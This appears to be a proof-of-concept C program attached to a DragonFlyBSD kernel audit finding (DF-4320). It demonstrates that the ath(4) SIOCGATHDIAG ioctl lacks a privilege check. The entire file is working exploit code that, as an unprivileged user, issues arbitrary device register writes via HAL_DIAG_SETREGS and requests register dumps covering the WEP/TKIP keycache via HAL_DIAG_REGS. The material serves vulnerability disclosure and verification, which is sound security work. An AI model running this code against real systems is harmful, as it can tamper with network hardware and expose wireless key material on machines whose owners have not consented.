โฌข DragonFlyBSD Kernel Audit
DF-4320 / poc.c
โ† back to finding โ†“ download raw
/*
 * DF-4320 PoC โ€” unprivileged SIOCGATHDIAG reachability / privilege-gate probe.
 *
 * Target bug: sys/dev/netif/ath/ath/if_ath_ioctl.c:299-300 dispatches
 * SIOCGATHDIAG -> ath_ioctl_diag() with NO caps_priv_check_self() /
 * priv_check() (compare SIOCZATHSTATS at :288 which does check, and FreeBSD
 * upstream which gates SIOCGATHDIAG with PRIV_DRIVER).
 *
 * On a kernel built with `options ATH_DIAGAPI` and an ath(4) interface
 * present, this program โ€” as an ordinary user โ€” would reach
 * ath_hal_getdiagstate() and issue HAL_DIAG_SETREGS (33): an *arbitrary
 * device MMIO write* (struct HAL_REGWRITE {addr,value} pairs taken
 * verbatim from this unprivileged process), or HAL_DIAG_REGS (13): an
 * arbitrary device MMIO register dump (which includes the WEP/TKIP
 * keycache registers at 0x9800+ -> 802.11 key material disclosure).
 *
 * This probe proves two things on whatever host it runs on:
 *   1. whether the SIOCGATHDIAG case is compiled in (default X86_64_GENERIC
 *      has no ATH_DIAGAPI -> ENOTTY), and
 *   2. that when a wlan interface answers, no privilege error (EPERM) is
 *      ever returned โ€” the gate is absent in the source either way.
 *
 * Usage: ./poc [ifname ...]   (default: probe every interface)
 */
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <ifaddrs.h>

/* --- verbatim mirror of sys/dev/netif/ath/ath/if_athioctl.h:178-192 --- */
struct ath_diag {
	char	ad_name[IFNAMSIZ];	/* if name, e.g. "ath0" */
	u_int16_t ad_id;
	u_int16_t ad_in_size;
	caddr_t	ad_in_data;
	caddr_t	ad_out_data;
	u_int	ad_out_size;
};
#define	ATH_DIAG_DYN	0x8000
#define	ATH_DIAG_IN	0x4000
#define	ATH_DIAG_ID	0x0fff
#ifndef SIOCGATHDIAG
#define	SIOCGATHDIAG	_IOWR('i', 138, struct ath_diag)
#endif
/* --- hal diag codes: sys/dev/netif/ath/ath_hal/ah_diagcodes.h --- */
#define	HAL_DIAG_REGS		13
#define	HAL_DIAG_SETREGS	33

/* HAL_REGWRITE: sys/dev/netif/ath/ath_hal/ah_internal.h:57-60 */
struct hal_regwrite { u_int32_t addr; u_int32_t value; };

int main(int argc, char **argv)
{
	struct ifaddrs *ifa, *ifp;
	char seen[64][IFNAMSIZ];
	int nseen = 0, s, i;
	struct hal_regwrite w[2];

	/* HAL_DIAG_SETREGS payload: write value 0x11223344 to AR_STA_ID0
	 * (0x8000) โ€” harmless register choice for a probe; on a vulnerable
	 * system this write would actually land on the device. */
	w[0].addr = 0x8000; w[0].value = 0x11223344;
	w[1].addr = 0x8004; w[1].value = 0x55667788;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); return 1; }

	if (getifaddrs(&ifa) != 0) { perror("getifaddrs"); return 1; }

	printf("uid=%d euid=%d  probing SIOCGATHDIAG (unprivileged)\n",
	    getuid(), geteuid());

	for (ifp = ifa; ifp; ifp = ifp->ifa_next) {
		int dup = 0;
		struct ath_diag ad;

		for (i = 0; i < nseen; i++)
			if (!strcmp(seen[i], ifp->ifa_name)) dup = 1;
		if (dup || ifp->ifa_name == NULL || nseen >= 64)
			continue;
		strlcpy(seen[nseen++], ifp->ifa_name, IFNAMSIZ);

		/* probe 1: HAL_DIAG_SETREGS with input data, no output */
		memset(&ad, 0, sizeof(ad));
		strlcpy(ad.ad_name, ifp->ifa_name, IFNAMSIZ);
		ad.ad_id = HAL_DIAG_SETREGS | ATH_DIAG_IN;
		ad.ad_in_size = sizeof(w);
		ad.ad_in_data = (caddr_t)w;
		ad.ad_out_size = 0;
		ad.ad_out_data = NULL;
		if (ioctl(s, SIOCGATHDIAG, &ad) == 0)
			printf("[%-8s] SETREGS  : SUCCESS  <-- arbitrary MMIO "
			    "write accepted from uid=%d (VULNERABLE)\n",
			    ifp->ifa_name, getuid());
		else
			printf("[%-8s] SETREGS  : errno=%d (%s)\n",
			    ifp->ifa_name, errno, strerror(errno));

		/* probe 2: HAL_DIAG_REGS dump request (2 ranges) */
		{
			u_int32_t ranges[4] = { 0x9800, 0x9800+0x1f, /* keycache */
						0x8000, 0x8000 };
			char out[32];
			memset(&ad, 0, sizeof(ad));
			strlcpy(ad.ad_name, ifp->ifa_name, IFNAMSIZ);
			ad.ad_id = HAL_DIAG_REGS | ATH_DIAG_IN | ATH_DIAG_DYN;
			ad.ad_in_size = sizeof(ranges);
			ad.ad_in_data = (caddr_t)ranges;
			ad.ad_out_size = sizeof(out);
			ad.ad_out_data = out;
			if (ioctl(s, SIOCGATHDIAG, &ad) == 0)
				printf("[%-8s] REGS-dump: SUCCESS  <-- device "
				    "register/keycache dump handed to uid=%d "
				    "(VULNERABLE)\n", ifp->ifa_name, getuid());
			else
				printf("[%-8s] REGS-dump: errno=%d (%s)\n",
				    ifp->ifa_name, errno, strerror(errno));
		}
	}
	printf("done. ENOTTY => SIOCGATHDIAG case not compiled (no "
	    "ATH_DIAGAPI); EPERM would indicate a privilege gate (none in "
	    "DragonFly source).\n");
	return 0;
}